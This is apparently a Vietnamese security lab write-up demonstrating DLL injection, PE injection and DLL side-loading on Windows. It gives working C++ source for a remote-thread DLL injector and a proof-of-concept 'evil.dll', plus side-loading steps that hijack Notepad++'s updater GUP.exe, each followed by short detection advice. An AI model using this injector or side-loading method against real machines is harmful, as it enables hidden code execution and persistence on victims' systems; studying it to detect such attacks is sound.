# Implement tấn công

### DLL injection <a href="#id-1ro9zan49aw6" id="id-1ro9zan49aw6"></a>

Tạo DLL độc hại hiển thị thông báo Meow from evil.dll! biên dịch từ đoạn code sau:

```
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
```

Phần Code c++ tạo inj.exe để injection

<pre class="language-cpp"><code class="lang-cpp">#include &#x3C;stdio.h>
#include &#x3C;stdlib.h>
#include &#x3C;string.h>
#include &#x3C;windows.h>
#include &#x3C;tlhelp32.h>
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
int main(int argc, char* argv[]) {
    HANDLE ph; // process handle
    HANDLE rt; // remote thread
    LPVOID rb; // remote buffer
    // handle to kernel32 and pass it to GetProcAddress
    HMODULE hKernel32 = GetModuleHandle("Kernel32");
    VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
<strong>    // parse process ID
</strong>    if ( atoi(argv[1]) == 0) {
        printf("PID not found :( exiting...\n");
        return -1;
    }
    printf("PID: %i", atoi(argv[1]));
    ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    // allocate memory buffer for remote process
    rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    // "copy" evil DLL between processes
    WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
    // our process start new thread
    rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
    CloseHandle(ph);
    return 0;
}
</code></pre>

Khởi chạy win32calc.exe và chạy chương trình inject vào process đó

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2Fr8M8jkJbEHSyn5MmO6ba%2F0.png?alt=media)

Xác minh DLL độc hại đã được đưa vào sử dụng Process Hacker

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2F1L80KjUh4xY93Mw3cXL7%2F1.png?alt=media)

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FDisUbukOWbuCUrJfnYp8%2F2.png?alt=media)

**Detection:** kiểm tra danh sách các module import và tìm các vùng nhớ có quyền đọc ghi của process

### PE injection <a href="#id-61nr8xxucjr4" id="id-61nr8xxucjr4"></a>

**Code triển khai:** [https://github.com/ollahneew/DLL-Attacks/blob/main/pe\_inj.cpp](https://github.com/ollahneew/DLL-Attacks/blob/main/pe_inj.cpp)

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2Fu0yojHxxFvSRhBdh6cX1%2F3.png?alt=media)

**Detection:**&#x20;

Xem xét Event số 8 trong Sysmon

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2F4RVnbpOPLfcg0ZPOZdKh%2F4.png?alt=media" alt=""><figcaption></figcaption></figure>

### DLL Side-loading <a href="#fgoi57rpqm4p" id="fgoi57rpqm4p"></a>

* Thủ thuật chiếm đoạt thứ tự tìm kiếm DLL của một ứng dụng hợp lệ.
* Lợi dụng các tệp manifest được cấu hình kém bằng cách đặt một DLL độc hại trùng tên với một DLL hợp pháp ở vị trí ưu tiên mà ứng dụng sẽ load nó lên trước DLL hợp lệ

GUP.exe được sử dụng để xác minh các bản cập nhật cho Notepad++

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FFdEBXJJqNW1YknJs8fkt%2F5.png?alt=media)

Áp dụng Filter trong Procmon, sẽ tìm thấy dll này. [libcurl](https://curl.se/libcurl/) là một thư viện được sử dụng để kết hợp curl vào mã.

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FAjNmsUBMnKvUbuq9hnMy%2F6.png?alt=media)

Khi rename file này, sẽ gặp lỗi khi mở ứng dụng

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FYHRLJ4C2oIMRHvot1fzD%2F7.png?alt=media)

Như vậy, nếu không có DLL đó, nó sẽ gây ra lỗi trong ứng dụng

Kiểm tra Import Address Table (IAT) trong GUP.exe sử dụng dumpbin /IMPORTS.

Chỉ có 4 hàm có trong IAT trong GUP.exe, vì vậy chúng ta có thể triển khai chúng.

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FAuMCc7n9dcoaIXgqexYp%2F8.png?alt=media)

Thay đổi cấu hình trong file config.xml để Notepad++ luôn mở GUP.exe mỗi khi chạy: (Path: C:\Users\Administrator\AppData\Roaming\Notepad++)

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2F5M1ZZfK0shvMjB05p099%2F9.png?alt=media)

Sửa thành

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FIdpJ126dC3nxxG7qBVBC%2F10.png?alt=media)

Tạo DLL độc hại từ các file [dllmain](https://github.com/ollahneew/DLL-Attacks/blob/main/dll_sideload_main.cpp) và [Source.def](https://github.com/ollahneew/DLL-Attacks/blob/main/source.def) sử dụng Visual Studio

Đổi tên DLL gốc và thay thế nó. Khi mở Notepad++, nó sẽ hiển thị như vậy.

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FlaVxQAaUbGSVxatCPEY5%2F11.png?alt=media)

**Detection**

* Kiểm tra các import DLL, Kiểm tra các process có kết nối mạng bất thường, tạo dLL whitelist để theo dõi các giá trị hash của DLL được sử dụng trên hệ thống

Tham khảo:

[https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html](https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html)

[https://www.letsdefend.io/blog/process-injection-detection-with-sysmon](https://www.letsdefend.io/blog/process-injection-detection-with-sysmon)

[https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes](https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes)

[https://medium.com/@mateus.tesser/dll-proxying-and-dll-side-loading-in-notepad-and-why-this-bypass-some-defenses-87bd9f7211f1](https://medium.com/@mateus.tesser/dll-proxying-and-dll-side-loading-in-notepad-and-why-this-bypass-some-defenses-87bd9f7211f1)
